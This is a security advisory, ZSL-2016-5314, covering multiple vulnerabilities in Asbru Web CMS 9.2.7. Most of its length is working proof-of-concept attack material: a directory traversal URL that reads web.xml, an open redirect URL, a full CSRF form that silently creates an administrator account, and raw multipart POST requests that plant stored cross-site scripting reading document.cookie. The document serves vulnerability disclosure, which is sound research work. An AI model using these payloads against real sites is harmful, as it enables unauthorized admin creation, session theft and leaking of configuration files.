444 lines
No EOL
16 KiB
Text
444 lines
No EOL
16 KiB
Text
|
|
Asbru Web Content Management System v9.2.7 Multiple Vulnerabilities
|
|
|
|
|
|
Vendor: Asbru Ltd.
|
|
Product web page: http://www.asbrusoft.com
|
|
Affected version: 9.2.7
|
|
|
|
Summary: Ready to use, full-featured, database-driven web content management
|
|
system (CMS) with integrated community, databases, e-commerce and statistics
|
|
modules for creating, publishing and managing rich and user-friendly Internet,
|
|
Extranet and Intranet websites.
|
|
|
|
Desc: Asbru WCM suffers from multiple vulnerabilities including Cross-Site Request
|
|
Forgery, Stored Cross-Site Scripting, Open Redirect and Information Disclosure.
|
|
|
|
Tested on : Apache Tomcat/5.5.23
|
|
Apache/2.2.3 (CentOS)
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2016-5314
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5314.php
|
|
|
|
|
|
09.03.2016
|
|
|
|
--
|
|
|
|
|
|
#1
|
|
Directory Traversal:
|
|
--------------------
|
|
|
|
http://10.0.0.7/../../../../../WEB-INF/web.xml
|
|
|
|
|
|
#2
|
|
Open Redirect:
|
|
--------------
|
|
|
|
http://10.0.0.7/login_post.jsp?url=http://www.zeroscience.mk
|
|
|
|
|
|
#3
|
|
Cross-Site Request Forgery (Add 'administrator' With Full Privileges):
|
|
----------------------------------------------------------------------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://10.0.0.7/webadmin/users/create_post.jsp?id=&redirect=" method="POST">
|
|
<input type="hidden" name="userinfo" value=" <TEST></TEST> " />
|
|
<input type="hidden" name="title" value="Mr" />
|
|
<input type="hidden" name="name" value="Chekmidash" />
|
|
<input type="hidden" name="organisation" value="ZSL" />
|
|
<input type="hidden" name="email" value="test@testingus.io" />
|
|
<input type="hidden" name="gender" value="1" />
|
|
<input type="hidden" name="birthdate" value="1984-01-01" />
|
|
<input type="hidden" name="birthday" value="01" />
|
|
<input type="hidden" name="birthmonth" value="01" />
|
|
<input type="hidden" name="birthyear" value="1984" />
|
|
<input type="hidden" name="notes" value="CSRFNote" />
|
|
<input type="hidden" name="userinfo1" value="" />
|
|
<input type="hidden" name="userinfoname" value="" />
|
|
<input type="hidden" name="username" value="hackedusername" />
|
|
<input type="hidden" name="password" value="password123" />
|
|
<input type="hidden" name="userclass" value="administrator" />
|
|
<input type="hidden" name="usergroup" value="" />
|
|
<input type="hidden" name="usertype" value="" />
|
|
<input type="hidden" name="usergroups" value="Account Managers" />
|
|
<input type="hidden" name="usergroups" value="Company Bloggers" />
|
|
<input type="hidden" name="usergroups" value="Customer" />
|
|
<input type="hidden" name="usergroups" value="Event Managers" />
|
|
<input type="hidden" name="usergroups" value="Financial Officers" />
|
|
<input type="hidden" name="usergroups" value="Forum Moderator" />
|
|
<input type="hidden" name="usergroups" value="Human Resources" />
|
|
<input type="hidden" name="usergroups" value="Intranet Managers" />
|
|
<input type="hidden" name="usergroups" value="Intranet Users" />
|
|
<input type="hidden" name="usergroups" value="Newsletter" />
|
|
<input type="hidden" name="usergroups" value="Press Officers" />
|
|
<input type="hidden" name="usergroups" value="Product Managers" />
|
|
<input type="hidden" name="usergroups" value="Registered Users" />
|
|
<input type="hidden" name="usergroups" value="Shop Managers" />
|
|
<input type="hidden" name="usergroups" value="Subscribers" />
|
|
<input type="hidden" name="usergroups" value="Support Ticket Administrators" />
|
|
<input type="hidden" name="usergroups" value="Support Ticket Users" />
|
|
<input type="hidden" name="usergroups" value="User Managers" />
|
|
<input type="hidden" name="usergroups" value="Website Administrators" />
|
|
<input type="hidden" name="usergroups" value="Website Developers" />
|
|
<input type="hidden" name="users_group" value="" />
|
|
<input type="hidden" name="users_type" value="" />
|
|
<input type="hidden" name="creators_group" value="" />
|
|
<input type="hidden" name="creators_type" value="" />
|
|
<input type="hidden" name="editors_group" value="" />
|
|
<input type="hidden" name="editors_type" value="" />
|
|
<input type="hidden" name="publishers_group" value="" />
|
|
<input type="hidden" name="publishers_type" value="" />
|
|
<input type="hidden" name="administrators_group" value="" />
|
|
<input type="hidden" name="administrators_type" value="" />
|
|
<input type="hidden" name="scheduled_publish" value="2016-03-13 00:00" />
|
|
<input type="hidden" name="scheduled_publish_email" value="" />
|
|
<input type="hidden" name="scheduled_notify" value="" />
|
|
<input type="hidden" name="scheduled_notify_email" value="" />
|
|
<input type="hidden" name="scheduled_unpublish" value="" />
|
|
<input type="hidden" name="scheduled_unpublish_email" value="" />
|
|
<input type="hidden" name="invoice_name" value="Icebreaker" />
|
|
<input type="hidden" name="invoice_organisation" value="Zero Science Lab" />
|
|
<input type="hidden" name="invoice_address" value="nu" />
|
|
<input type="hidden" name="invoice_postalcode" value="1300" />
|
|
<input type="hidden" name="invoice_city" value="Neverland" />
|
|
<input type="hidden" name="invoice_state" value="ND" />
|
|
<input type="hidden" name="invoice_country" value="ND" />
|
|
<input type="hidden" name="invoice_phone" value="111-222-3333" />
|
|
<input type="hidden" name="invoice_fax" value="" />
|
|
<input type="hidden" name="invoice_email" value="lab@zeroscience.tld" />
|
|
<input type="hidden" name="invoice_website" value="www.zeroscience.mk" />
|
|
<input type="hidden" name="delivery_name" value="" />
|
|
<input type="hidden" name="delivery_organisation" value="" />
|
|
<input type="hidden" name="delivery_address" value="" />
|
|
<input type="hidden" name="delivery_postalcode" value="" />
|
|
<input type="hidden" name="delivery_city" value="" />
|
|
<input type="hidden" name="delivery_state" value="" />
|
|
<input type="hidden" name="delivery_country" value="" />
|
|
<input type="hidden" name="delivery_phone" value="" />
|
|
<input type="hidden" name="delivery_fax" value="" />
|
|
<input type="hidden" name="delivery_email" value="" />
|
|
<input type="hidden" name="delivery_website" value="" />
|
|
<input type="hidden" name="card_type" value="VISA" />
|
|
<input type="hidden" name="card_number" value="4444333322221111" />
|
|
<input type="hidden" name="card_issuedmonth" value="01" />
|
|
<input type="hidden" name="card_issuedyear" value="2016" />
|
|
<input type="hidden" name="card_expirymonth" value="01" />
|
|
<input type="hidden" name="card_expiryyear" value="2100" />
|
|
<input type="hidden" name="card_name" value="Hacker Hackerowsky" />
|
|
<input type="hidden" name="card_cvc" value="133" />
|
|
<input type="hidden" name="card_issue" value="" />
|
|
<input type="hidden" name="card_postalcode" value="1300" />
|
|
<input type="hidden" name="content_editor" value="" />
|
|
<input type="hidden" name="hardcore_upload" value="" />
|
|
<input type="hidden" name="hardcore_format" value="" />
|
|
<input type="hidden" name="hardcore_width" value="" />
|
|
<input type="hidden" name="hardcore_height" value="" />
|
|
<input type="hidden" name="hardcore_onenter" value="" />
|
|
<input type="hidden" name="hardcore_onctrlenter" value="" />
|
|
<input type="hidden" name="hardcore_onshiftenter" value="" />
|
|
<input type="hidden" name="hardcore_onaltenter" value="" />
|
|
<input type="hidden" name="hardcore_toolbar1" value="" />
|
|
<input type="hidden" name="hardcore_toolbar2" value="" />
|
|
<input type="hidden" name="hardcore_toolbar3" value="" />
|
|
<input type="hidden" name="hardcore_toolbar4" value="" />
|
|
<input type="hidden" name="hardcore_toolbar5" value="" />
|
|
<input type="hidden" name="hardcore_formatblock" value="" />
|
|
<input type="hidden" name="hardcore_fontname" value="" />
|
|
<input type="hidden" name="hardcore_fontsize" value="" />
|
|
<input type="hidden" name="hardcore_customscript" value="" />
|
|
<input type="hidden" name="startpage" value="" />
|
|
<input type="hidden" name="workspace_sections" value="" />
|
|
<input type="hidden" name="index_workspace" value="" />
|
|
<input type="hidden" name="index_content" value="" />
|
|
<input type="hidden" name="index_library" value="" />
|
|
<input type="hidden" name="index_product" value="" />
|
|
<input type="hidden" name="index_stock" value="" />
|
|
<input type="hidden" name="index_order" value="" />
|
|
<input type="hidden" name="index_segments" value="" />
|
|
<input type="hidden" name="index_usertests" value="" />
|
|
<input type="hidden" name="index_heatmaps" value="" />
|
|
<input type="hidden" name="index_user" value="" />
|
|
<input type="hidden" name="index_websites" value="" />
|
|
<input type="hidden" name="menu_selection" value="" />
|
|
<input type="hidden" name="statistics_reports" value="" />
|
|
<input type="hidden" name="sales_reports" value="" />
|
|
<input type="submit" value="Initiate" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
#4
|
|
Stored Cross-Site Scripting:
|
|
----------------------------
|
|
|
|
a)
|
|
|
|
|
|
POST /webadmin/content/create_post.jsp?id=&redirect= HTTP/1.1
|
|
Host: 10.0.0.7
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="webeditor_stylesheet"
|
|
|
|
/stylesheet.jsp?id=1,1&device=&useragent=&
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="restore"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="archive"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="publish"
|
|
|
|
Save & Publish
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="scheduled_publish"
|
|
|
|
2016-03-09 13:29
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="scheduled_unpublish"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="checkedout"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="revision"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="title"
|
|
|
|
"><script>alert(document.cookie)</script>
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="searchable"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="menuitem"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="file"; filename="test.svg"
|
|
Content-Type: image/svg+xml
|
|
|
|
testsvgxxefailed
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="file_data"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="server_filename"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="contentdelivery"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="image1"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="image2"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="image3"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="metainfo"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="segmentation"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="author"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="description"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="keywords"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="metainfoname"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="segmentationname"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="segmentationvalue"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="contentpackage"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="contentclass"
|
|
|
|
image
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="contentgroup"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="contenttype"
|
|
|
|
Photos
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="version_master"
|
|
|
|
0
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="version"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="device"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="usersegment"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="usertest"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="users_group"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="users_type"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="users_users"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="creators_group"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="creators_type"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="creators_users"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="editors_group"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="editors_type"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="editors_users"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="publishers_group"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="publishers_type"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="publishers_users"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="developers_group"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="developers_type"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="developers_users"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="administrators_group"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="administrators_type"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="administrators_users"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="page_top"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="page_up"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="page_previous"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="page_next"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="page_first"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="page_last"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="related"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN
|
|
Content-Disposition: form-data; name="selectrelated"
|
|
|
|
|
|
------WebKitFormBoundarygqlN2AtccVFqx0YN--
|
|
|
|
|
|
b)
|
|
|
|
POST /webadmin/fileformats/create_post.jsp HTTP/1.1
|
|
Host: 10.0.0.7
|
|
|
|
filenameextension="><script>alert(document.cookie)</script> |